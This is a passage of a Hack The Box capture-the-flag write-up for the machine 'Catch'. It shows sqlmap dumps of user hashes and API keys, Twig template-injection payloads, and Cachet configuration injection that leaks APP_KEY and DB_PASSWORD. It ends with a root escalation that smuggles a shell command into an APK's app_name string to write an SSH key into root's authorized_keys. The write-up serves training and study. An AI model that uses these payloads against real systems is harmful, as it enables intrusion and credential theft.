[19:34:10] [INFO] retrieved: settings
[19:34:37] [INFO] retrieved: subscribers
[19:35:10] [INFO] retrieved: subscriptions
[19:35:44] [INFO] retrieved: taggables
[19:36:14] [INFO] retrieved: tags
[19:36:22] [INFO] retrieved: users

I stopped the torture after the tables from the first database were enumerated. I forgot to get databases before I asked it to get tables, so this would have taken a very long time to complete!

1
2
┌──(zweilos㉿kalimaa)-[~/htb/catch]
└─$ sqlmap -u 'http://status.catch.htb:8000/api/v1/components?name=1&1[0]=&1[1]=a&1[2]=&1[3]=or+%27a%27=%3F%20and%201=1)*+--+"' -D cachet -T users --dump

I used the above command to dump the contents of the cachet.users table.

While I was waiting for the database to finish its painfully slow enumeration, I went out to eat with friends.

The MySQL cachet.users database

1
2
3
4
5
6
7
8
9
Database: cachet
Table: users
[2 entries]
+----+-----------------+--------+---------+----------------------+--------------------------------------------------------------+----------+----------+---------------------+---------------------+--------------------------------------------------------------+-------------------+
| id | email           | active | level   | api_key              | password                                                     | username | welcomed | created_at          | updated_at          | remember_token                                               | google_2fa_secret |
+----+-----------------+--------+---------+----------------------+--------------------------------------------------------------+----------+----------+---------------------+---------------------+--------------------------------------------------------------+-------------------+
| 1  | admin@catch.htb | 1      | 1       | rMSN8kJN9TPADl2cWv8N | $2y$10$quY5ttamPWVo54lbyLSWEu00A/tkMlqoFaEKwJSWPVGHpVK2Wj7Om | admin    | 1        | 2022-03-03 02:51:26 | 2022-03-03 02:51:35 | 5t3PCyAurH7oKann9dhMfL7t0ZTN7bz4yiASDB8EAfkAOcN60yx0YTfBBlPj | NULL              |
| 2  | john@catch.htb  | 1      | 2       | 7GVCqTY5abrox48Nct8j | $2y$10$2jcDURPAEbv2EEKto0ANb.jcjgiAwWzkwzZKNT9fUpOziGjJy5r8e | john     | 1        | 2022-03-03 02:51:57 | 2022-03-03 02:52:12 | 5N58LraMhWCeM6kVL1OgADG4DoUkViSmJLowCth6ocSLv9s7DyDmNWgYEJlB | NULL              |
+----+-----------------+--------+---------+----------------------+--------------------------------------------------------------+----------+----------+---------------------+---------------------+--------------------------------------------------------------+-------------------+

Interestingly there were only two users, which significantly sped up the process, and it finished some time before I got home. I now also had some sort of API key for both john and admin, as well as potential password hashes to crack. Next I did some research into what I could possibly do with those API keys.

  • https://docs.cachethq.io/docs/api-authentication

API Token

The API Token is generated at installation time for the main user or when a new team member is added to your status page and can be found on your profile page (click your profile picture to get there). Once you have your token you’ll need to add a new request header of X-Cachet-Token: TOKEN

1
$ curl -H "Content-Type: application/json;" -H "X-Cachet-Token: YOUR_KEY_HERE" -d '{"name":"API","description":"An example description","status":1}' http://status.cachethq.io/api/v1/components

Now I needed to figure out the url to connect to.

  • https://docs.cachethq.io/docs/base-url

    Don’t forget to use your own URL! The URL provided above is an example domain, you must provide your own when running requests.

Looked like more brute force time

Dirbuster output showing the enumerated endpoints in the /api/v1 folder

Checked dirbuster to see if I could figure out what the local custom domain was. I got back a list of interesting endpoints.

Using Burp suite to interact with the ping API and getting back pong

I tried multiple of the interesting sounding endpoints to see how they would respond. I got a “Pong!” back from the /ping API.

Using Burp suite to get json output from the incidents API

After testing a few of them, I found that I had to send data to get them to respond. Because of that, I decided to try POST to see if I could upload data.

  • https://docs.cachethq.io/docs/post-parameters

After I changed GET to POST I got a 400 Bad Request error.

1
2
3
4
5
6
7
8
9
HTTP/1.1 400 Bad Request
Date: Sun, 17 Jul 2022 15:49:34 GMT
Server: Apache/2.4.29 (Ubuntu)
Cache-Control: no-cache, private
Content-Length: 238
Connection: close
Content-Type: application/json

{"errors":[{"id":"844fb912-5cf0-4b81-a5d5-808f1e8f0fe7","status":400,"title":"Bad Request","detail":"The request cannot be fulfilled due to bad syntax.","meta":{"details":["The name field is required.","The status field is required."]}}]}

The first error message told me that the name and status fields were required, so I supplied values for those.

Using Burp suite to get json error message from the incidents API

Next, I got an error message telling me that the status field must be an integer.

  • https://docs.cachethq.io/docs/incident-statuses

I found a page that explained what the integer status codes mapped to. I picked 0 for “Scheduled” to see if perhaps something was being automated to handle incidents that were scheduled.

Next, I got another error message that said “The message field is required”. The message field sounded like a likely place to do some injection, so I tried putting in cross site scripting attempts, and a reverse shell. These did not seem to do anything however, so I did some more reading on what Cachet was using to process these JSON messages. This led me to Twig.

  • https://twig.symfony.com/

    Twig is a modern template engine for PHP

I googled “twig template exploit” and found an interesting blog post.

  • https://medium.com/@david.valles/gaining-shell-using-server-side-template-injection-ssti-81e29bb8e0f9

Apparently this type of attack is called server side template injection (SSTI).

  • https://portswigger.net/research/server-side-template-injection

Using Burp suite to get valid json message from the incidents API

I created a couple of new incidents using this attack method as a test.

1
"permalink":"http:\/\/status.catch.htb:8000\/incidents\/2"

Using a GET request I was able to get the incidents I had created back, and noticed that there was a permalink at the bottom of each.

Visiting the incident page to verify code execution

Going to this permalink showed the number 49 which meant there was code execution!

1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

I found the above example exploit on the blog post and used it to see if I could run arbitrary system commands as well.

1
2
3
<div class="markdown-body">
    <p>'{{_self.env.registerUndefinedFilterCallback(&quot;exec&quot;)}}{{_self.env.getFilter(&quot;id&quot;)}}'</p>

After creating a new incident using this payload I navigated to the permalink page and found that it was blank. It didn’t even have the name header or anything. I check in the source of the page to see if I could figure out what had happened and found that the code was there, but the quotes had been encoded.

1
2
<div class="markdown-body">
    <p>{{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id'}}</p>

On my next attempt I found that using single quotes fixed the encoding problem, but there was still no code execution inside the <p> tags. Next I tried a different payload.

1
2
<div class="markdown-body">
    <p>{{['id']|filter('system')}}</p>

This led the code to display the message ["id"] on the page, so I seemed to be getting closer.

I thought that perhaps the rendering engine was blocking execution, but maybe in the backend it was working. After extensive testing, this ended up not being true, and this route seemed like a dead end. I went back to looking at the other CVEs to see if a different one would get me further.

  • https://github.com/advisories/GHSA-88f9-7xxh-c688
  • https://github.com/narkopolo/CVE-2021-39174-PoC/blob/main/exploit.py

AFter looking at this PoC and seeing that it needed credentials I went back to my notes and realized I had a username and password I had gotten from the chat: john : E}V!mywu_69T4C}W.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(zweilos㉿kalimaa)-[~/htb/catch]
└─$ python ./cachet.py -n john -p 'E}V!mywu_69T4C}W' -u 'http://status.catch.htb:8000/'       
[+] Getting CSRF token
[+] CSRF token: DKnz1nWiL8Irrdgkm1IOXYmPveMbzTU2AiIdVDzc
[+] Logging in as user 'john'
[+] Successfully logged in
[+] Getting current field values
[+] Sending payload
Traceback (most recent call last):
  File "/home/zweilos/htb/catch/./cachet.py", line 141, in <module>
    extracted = extract_variables(dotenv_variables.splitlines())
  File "/home/zweilos/htb/catch/./cachet.py", line 128, in extract_variables
    payload_response = soup.find("input", {"name": "config[mail_address]"})["value"]
TypeError: 'NoneType' object is not subscriptable

I tried running the Python PoC with the credentials I had found. It logged in successfully, but for some reason the script failed when sending the payload.

The incident dashboard after logging in to cachet

The python script did not work, but I was able to log into the dashboard using the login page I had found earlier.

There was an application URL on a different IP on the application setup page

I found another IP to check out for the future on the Application Setup page: http://10.129.136.74:8001.

I tried creating a Template using the template injection example I found on the earlier blog post.

I also attempted to create a reverse shell, thinking perhaps it was only output that was being filtered on the permalink pages.

Creating a new incident using different code tests

I also created incidents, inserting multiple different payloads from different sources to see if any would go through. This was after I realized the Template was just a template for the messages field in the incidents being created.

Visiting the incidents page after creating one in the GUI

No matter what payload I tried injected here, only the basic functions such as math got me a visible code execution result. I decided to move on and do some more reading on the subject.

Nested Variable Assignment Vulnerability

I found another blog that mentioned something called “Nested Variable assignment”. This involved invoking application environment variables by stuffing the call to them inside another variable.

  • https://blog.sonarsource.com/cachet-code-execution-via-laravel-configuration-injection/

  • https://github.com/vlucas/phpdotenv#nesting-variables

I found that the APP_KEY variable, if leaked, could lead to code execution, so it seemed like a good target. After checking back with the Python PoC, I noticed that it was stuffing each of the variables it was targeting into the payload.

APP_KEY

Using the third CVE to retrieve the app key

I was able to get the APP_KEY base64:9mUxJeOqzwJdByidmxhbJaa74xh3ObD79OI6oG1KgyA= by using the nested variable ${APP_KEY} into the vulnerable field on the Mail setting page.

DB_PASSWORD

Using the third CVE to retrieve the database password

Using the same vulnerability, I was able to use the variable ${DB_PASSWORD} to get the database password s2#4Fg0_%3!.

I had to refresh the page between each insert to be able to see the contents of the targeted variable.

Initial Foothold

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
┌──(zweilos㉿kalimaa)-[~/htb/catch]
└─$ ssh will@10.10.11.150                                                                                       
will@10.10.11.150's password: 
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-104-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun 17 Jul 2022 11:21:13 PM UTC

  System load:                      0.08
  Usage of /:                       74.7% of 16.61GB
  Memory usage:                     85%
  Swap usage:                       25%
  Processes:                        440
  Users logged in:                  0
  IPv4 address for br-535b7cf3a728: 172.18.0.1
  IPv4 address for br-fe1b5695b604: 172.19.0.1
  IPv4 address for docker0:         172.17.0.1
  IPv4 address for eth0:            10.10.11.150
  IPv6 address for eth0:            dead:beef::250:56ff:feb9:3f59


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

will@catch:~$ id && hostname
uid=1000(will) gid=1000(will) groups=1000(will)
catch

Using the DB_PASSWORD I was able to SSH into the machine with the username will (Danger Will Robinson!).

User.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
will@catch:~$ ls -la
total 32
drwxr-xr-x 4 will will 4096 Jul 17 23:21 .
drwxr-xr-x 4 root root 4096 Dec 14  2021 ..
lrwxrwxrwx 1 will will    9 Dec 14  2021 .bash_history -> /dev/null
-rw-r--r-- 1 will will  220 Dec 14  2021 .bash_logout
-rw-r--r-- 1 will will 3771 Dec 14  2021 .bashrc
drwx------ 2 will will 4096 Jul 17 23:21 .cache
drwxrwxr-x 3 will will 4096 Dec 14  2021 .local
-rw-r--r-- 1 will will  807 Dec 14  2021 .profile
-rw-r----- 1 root will   33 Jul 17 23:05 user.txt
will@catch:~$ cat user.txt
982be8c2865553ea4e0929cf5ba18de7

FINALLY!! After hours of looking for creds in all the wrong places, I was in and was able to get the user flag.

Path to Power (Gaining Administrator Access)

Enumeration as user will

1
2
3
will@catch:~$ sudo -l
[sudo] password for will: 
Sorry, user will may not run sudo on catch.

Unfortunately, sudo -l showed that will was not part of the sudoers group.

1
2
3
4
5
6
7
8
root         970  0.0  0.0   6812  2260 ?        Ss   Jul17   0:00 /usr/sbin/cron -f
root         992  0.0  0.0   8352  1804 ?        S    Jul17   0:00  _ /usr/sbin/CRON -f
root        1017  0.0  0.0   2608   408 ?        Ss   Jul17   0:00      _ /bin/sh -c cd /root/lets-chat;/usr/bin/npm start

...output truncated...

root       75832  0.0  0.0  18380  2948 ?        S    02:00   0:00      _ /bin/bash /root/check.sh
root       75878  0.0  0.0   6708   936 ?        S    02:00   0:00          _ inotifywait -q -e modify /var/www/html/Cachet/.env

Next I checked running processes, and noticed that there were a few different scripts running as root. One in particular was interesting because it targeted the Cachet files. The other was doing something with Lets Chat.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
╔══════════╣ Different processes executed during 1 min (interesting is low number of repetitions)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#frequent-cron-jobs                               
     55 /bin/sh -c /root/reset.sh                                                                                   
     55 /bin/bash /root/reset.sh
     17 /bin/bash /etc/init.d/mysql start
     16 /bin/sh -c /opt/mdm/verify.sh
     16 /bin/bash /opt/mdm/verify.sh
      5 jarsigner -verify /root/mdm/apk_bin/aaf31bedf4c97a72d5cb649f.apk
      4 docker cp /root/.env 97c652e737a4:/var/www/html/Cachet/.env
      4 docker cp /root/.env 7b20ef63b871:/var/www/html/Cachet/.env
      4 docker cp /root/.env 4e50cac873ae:/var/www/html/Cachet/.env
      4 docker cp /root/.env 1c6af250c292:/var/www/html/Cachet/.env
      3 docker cp /root/.env 97dac00b203d:/var/www/html/Cachet/.env
      3 docker cp /root/.env 5bbd9c3d2d15:/var/www/html/Cachet/.env
      3 docker cp /root/.env 3ef41b697e68:/var/www/html/Cachet/.env
      2 /usr/sbin/mysqld --print-defaults
      2 tr   \n
      2 tail -n 1
      2 grep -- --datadir
      2 docker cp /root/.env e2a173d974c7:/var/www/html/Cachet/.env
      2 docker cp /root/.env c8dd41cc63e6:/var/www/html/Cachet/.env
      2 docker cp /root/.env 8becd235e1cb:/var/www/html/Cachet/.env
      2 docker cp /root/.env 6f444f4ca12d:/var/www/html/Cachet/.env
      2 docker cp /root/.env 443fe29f925d:/var/www/html/Cachet/.env
      2 cut -d= -f2
      1 docker ps -a -q

linpeas.sh showed a number of interesting running processes, including those same scripts I had found.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports                                       
tcp        0      0 172.17.0.1:6000         0.0.0.0:*               LISTEN      -                                   
tcp        0      0 172.17.0.1:6001         0.0.0.0:*               LISTEN      -                   
tcp        0      0 172.17.0.1:6002         0.0.0.0:*               LISTEN      -                   
tcp        0      0 172.17.0.1:6003         0.0.0.0:*               LISTEN      -                   
tcp        0      0 172.17.0.1:6004         0.0.0.0:*               LISTEN      -                   
tcp        0      0 172.17.0.1:6005         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 172.17.0.1:6006         0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 172.17.0.1:6007         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:34103         0.0.0.0:*               LISTEN      -                   
tcp        0      0 172.17.0.1:6008         0.0.0.0:*               LISTEN      -                   
tcp        0      0 172.17.0.1:6009         0.0.0.0:*               LISTEN      -                   
tcp        0      0 172.17.0.1:6010         0.0.0.0:*               LISTEN      -                   
tcp        0      0 172.17.0.1:6011         0.0.0.0:*               LISTEN      -                   
tcp        0      0 172.17.0.1:6012         0.0.0.0:*               LISTEN      -                   
tcp        0      0 172.17.0.1:6013         0.0.0.0:*               LISTEN      -                   
tcp        0      0 172.17.0.1:6014         0.0.0.0:*               LISTEN      -                   
tcp        0      0 172.17.0.1:6015         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:5000            0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:27017         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 :::3000                 :::*                    LISTEN      - 

There seemed to be a lot of docker containers running. I figured that each of the services I had found was running out of each of those.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
╔══════════╣ Analyzing Env Files (limit 70)
-rw-r--r-- 1 root root 708 Mar  3 02:29 /var/www/html/Cachet/.env                                                   
APP_ENV=production
APP_DEBUG=false
APP_URL=http://localhost
APP_TIMEZONE=UTC
APP_KEY=base64:MqgBcB14yRq3I4jKQM8nGtrx74z5/GrjJsgEwbIjHik=
DEBUGBAR_ENABLED=false
DB_DRIVER=mysql
DB_HOST=localhost
DB_UNIX_SOCKET=null
DB_DATABASE=cachet
DB_USERNAME=homestead
DB_PASSWORD=secret

...output truncated...

The Cachet .env file that took so long to get info out of seemed to have a different password in it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
╔══════════╣ Files with ACLs (limited to 50)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#acls                                             
# file: /opt/mdm                                                                                                    
USER   root      rwx     
user   will      r-x     
GROUP  root      r-x     
mask             r-x     
other            --x     

# file: /opt/mdm/apk_bin
USER   root      rwx     
user   will      rwx     
GROUP  root      r-x     
mask             rwx     
other            --x     

# file: /opt/mdm/verify.sh
USER   root      rwx     
user   will      r-x     
GROUP  root      r-x     
mask             r-x     
other            --x 

The folder /opt/mdm/ seemed to be asking to be (ab)used. Owned by root, but will could interact with it? I could even write in the apk_bin folder!

/opt/mdm/verify.sh

1
2
3
4
5
6
will@catch:/opt/mdm$ ls -la
total 16
drwxr-x--x+ 3 root root 4096 Mar  3 14:23 .
drwxr-xr-x  4 root root 4096 Dec 16  2021 ..
drwxrwx--x+ 2 root root 4096 Dec 16  2021 apk_bin
-rwxr-x--x+ 1 root root 1894 Mar  3 14:23 verify.sh

I checked the contents of this folder and found the verify.sh script I had seem running.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
###################
# MDM CheckerV1.0 #
###################

DROPBOX=/opt/mdm/apk_bin
IN_FOLDER=/root/mdm/apk_bin
OUT_FOLDER=/root/mdm/certified_apps
PROCESS_BIN=/root/mdm/process_bin

for IN_APK_NAME in $DROPBOX/*.apk;do
        OUT_APK_NAME="$(echo ${IN_APK_NAME##*/} | cut -d '.' -f1)_verified.apk"
        APK_NAME="$(openssl rand -hex 12).apk"
        if [[ -L "$IN_APK_NAME" ]]; then
                exit
        else
                mv "$IN_APK_NAME" "$IN_FOLDER/$APK_NAME"
        fi
        sig_check $IN_FOLDER $APK_NAME
        comp_check $IN_FOLDER $APK_NAME $PROCESS_BIN
        app_check $PROCESS_BIN $OUT_FOLDER $IN_FOLDER $OUT_APK_NAME
done
cleanup

The script verify.sh looked like it would take any file ending in .apk that was dropped into the folder /opt/mdm/apk_bin, do some checks on it, and then if they passed move the apk to the other folders for processing. The other folders were in the /root/mdm/ directory, so hopefully they would be able to get code execution by root if I could get the checks to pass.

1
2
3
4
5
6
7
8
9
10
11
12
app_check() {
	APP_NAME=$(grep -oPm1 "(?<=<string name=\"app_name\">)[^<]+" "$1/res/values/strings.xml")
	echo $APP_NAME
	if [[ $APP_NAME == *"Catch"* ]]; then
		echo -n $APP_NAME|xargs -I {} sh -c 'mkdir {}'
		mv "$3/$APK_NAME" "$2/$APP_NAME/$4"
	else
		echo "[!] App doesn't belong to Catch Global"
		cleanup
		exit
	fi
}

The first check looked like it only validated whether the word “Catch” was in the title. It also looked like it checked this by simply using regex to select everything after <string name="app_name"> up to a closing <. After this it echo‘ed everything it just selected. This variable seemed likely injectable as there was no sanitization on what was being echoed.

1
<string name="app_name">CatchApp; echo *My_ed22519_key* > /root/.ssh/authorized_keys<

I decided to give my apk the above payload for a Name. Next, I did some research to see if I could find the smallest, simplest, yet still viable format for building an Android APK.

  • https://ajinasokan.com/posts/smallest-app/
1
2
3
4
5
6
7
8
9
10
myapp
    |--res
    |    |--layout
    |           |--activity_main.xml
    |--src
    |   |--com
    |       |--myapp
    |              |--MainActivity.java
    |
    |--AndroidManifest.xml

The blog above boasted that an APK could be created that when compiled would only be 6 KB! This looked like it would be the easiest route to go. The blog showed that with only six folders and three files a simple “Hello World” app could be created that would actually work.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.CatchApp;

import android.app.Activity;
import android.os.Bundle;

public class MainActivity extends Activity {

    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

    }

}

I started off by creating the directory structure for my app that I creatively named CatchApp (TM). Next I created the src/com/CatchApp/MainActivity.java file using the template on the blog.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.CatchApp">
    <application
        android:label="AppNameInSettings"
        android:theme="@android:style/Theme.Light.NoTitleBar">

        <activity
            android:name=".MainActivity"
            android:label="AppNameInLauncher" >

            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>

        </activity>
    </application>
</manifest>

Next up was AndroidManifest.xml. Again, all I had to change was the app’s name.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:orientation="vertical" android:layout_width="match_parent"
    android:layout_height="match_parent">

    <TextView
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:text="Hello World"/>

</LinearLayout>
<resources>
        <string name="app_name">CatchApp; echo \'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIYZo4RIMknmO8eV25kRvBrshVlyNyi3WSIFhT1WgcQx\' > /root/.ssh/authorized_keys </string>
</resources>

Next, I created the file res/layout/activity_main.xml with my app_name payload.

1
2
3
4
<?xml version="1.0" encoding="utf-8"?>
<resources>
    <string name="app_name">CatchApp; echo \'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIYZo4RIMknmO8eV25kRvBrshVlyNyi3WSIFhT1WgcQx\' > /root/.ssh/authorized_keys</string>
</resources>
  • https://developer.android.com/guide/topics/resources/string-resource

The Android developer documents showed string resources in a file named strings.xml so just in case I put my payload inside this file as well.

Next I used apktool to build my APK, but got an error message that seemed to indicate that the file apktool.yml was missing. I copied the file from the other APK I decompiled easler and edited out the lines that didn’t apply. After that it built with no (breaking) errors.

I copied the file to the machine and into the /opt/mdm/apk_bin folder, but after the script ran it didn’t let me SSH in as root. After playing with my payload a bit, I realized that the quotes needed to be escaped. I fixed the payload and rebuilt the APK.

Getting a shell as root

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
will@catch:/dev/shm$ wget http://10.10.14.138:9002/CatchApp.apk
--2022-07-18 17:47:01--  http://10.10.14.138:9002/CatchApp.apk
Connecting to 10.10.14.138:9002... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1933 (1.9K) [application/vnd.android.package-archive]
Saving to: ‘CatchApp.apk’

CatchApp.apk                 100%[==============================================>]   1.89K  --.-KB/s    in 0s      

2022-07-18 17:47:02 (4.66 MB/s) - ‘CatchApp.apk’ saved [1933/1933]

will@catch:/dev/shm$ cp CatchApp.apk /opt/mdm/apk_bin
will@catch:/dev/shm$ cd /opt/mdm/apk_bin
will@catch:/opt/mdm/apk_bin$ ls
CatchApp.apk
will@catch:/opt/mdm/apk_bin$ ls
will@catch:/opt/mdm/apk_bin$

I downloaded my new APK to the victim, then copied it to the /opt/mdm/apk_bin folder. After the script ran it removed my app from the folder, which indicated that it was time to try to log in.

Root.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
┌──(zweilos㉿kalimaa)-[~/htb/catch]
└─$ ssh root@10.10.11.150 -i catch.key
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-104-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon 18 Jul 2022 05:48:13 PM UTC

  System load:                      0.48
  Usage of /:                       71.8% of 16.61GB
  Memory usage:                     81%
  Swap usage:                       26%
  Processes:                        434
  Users logged in:                  1
  IPv4 address for br-535b7cf3a728: 172.18.0.1
  IPv4 address for br-fe1b5695b604: 172.19.0.1
  IPv4 address for docker0:         172.17.0.1
  IPv4 address for eth0:            10.10.11.150
  IPv6 address for eth0:            dead:beef::250:56ff:feb9:8f7f


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sat Mar 12 20:46:23 2022 from 10.10.14.19
root@catch:~# cat root.txt
747daeb2e40324b8bfa600fe083d5514

After the APK dissapeared I tried to SSH in as root using the key I had generated, and was in! I collected my well-earned root flag and cleaned up.

Thanks to MrR3boot for creating a machine that caused me to explore a few new topics. I had never really explored either SSTI nor Android development much before so it was quite interesting and refreshing to find something like this! The SSTI vulnerability, though being a rabbit hole, was interesting to learn and kept me entertained for longer than it should have!

Proof that the machine Catch had been finished by zweilosec on hack the box

If you like this content and would like to see more, please consider buying me a coffee!

This post is licensed under CC BY 4.0 by the author.